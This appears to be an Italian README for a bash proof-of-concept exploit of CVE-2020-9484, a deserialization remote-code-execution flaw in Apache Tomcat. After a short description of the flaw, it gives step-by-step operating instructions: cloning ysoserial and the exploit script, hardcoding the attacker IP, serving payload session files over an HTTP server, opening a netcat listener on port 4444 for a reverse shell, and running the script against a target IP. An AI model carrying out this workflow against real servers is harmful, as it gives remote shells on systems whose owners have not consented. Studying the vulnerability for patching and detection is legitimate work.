
Apache Tomcat 9.0.27 è vulnerabile a Remote Code Execution con CVE-ID CVE-2020-9484. Anche altre versioni potrebbero essere interessate. Testato su Kali 2020.4 e JDK 8. Questo script bash è una semplice proof-of-concept. Solo per scopi educativi.
La vulnerabilità consente a un attaccante remoto di eseguire codice arbitrario sul sistema target.
La vulnerabilità è dovuta a una convalida non sicura dell'input durante l'elaborazione dei dati serializzati nei nomi dei file caricati. Un attaccante remoto può passare all'applicazione un nome di file appositamente predisposto ed eseguire codice arbitrario sul sistema target.
Lo sfruttamento riuscito di questa vulnerabilità può comportare il compromesso completo del sistema vulnerabile, ma richiede che il server sia configurato per utilizzare PersistenceManager con un FileStore e che l'attaccante conosca il percorso relativo del file dalla posizione di archiviazione.
Per utilizzare lo script, è necessario yoserial. Per installarlo:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
Se hai già yoserial installato, assicurati di rinominarlo in "yosorial-master.jar".
Per installare lo script, digita:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
Per aprire il menu di aiuto, digita:
./CVE-2020-9484.sh --help
oppure
./CVE-2020-9484.sh -h
Per prima cosa, apri lo script e inserisci il tuo indirizzo IP alla riga 14:
remote_ip="10.10.16.180" # change this
Questo script crea i file "payload.sh", "downloadPayload.session", "chmodPayload.session" ed "executePayload.session" nella stessa directory in cui ti trovi. Per utilizzare l'exploit, devi avviare un semplice listener sulla porta 80. Ad esempio, utilizzo con Python3 (avvia nella stessa cartella in cui esegui lo script):
sudo python3 -m http.server 80
Inoltre, assicurati di avviare un listener netcat sulla porta 4444:
nc -nvlp 4444
Ora esegui lo script con l'indirizzo IP del sistema target che vuoi attaccare:
./CVE-2020-9484.sh target-ip
Se non funziona, assicurati di usare JDK 8. Per verificare quale versione usi, digita:
java -version
Potrebbe non funzionare con JDK versione 12 o superiore. Leggi di più qui.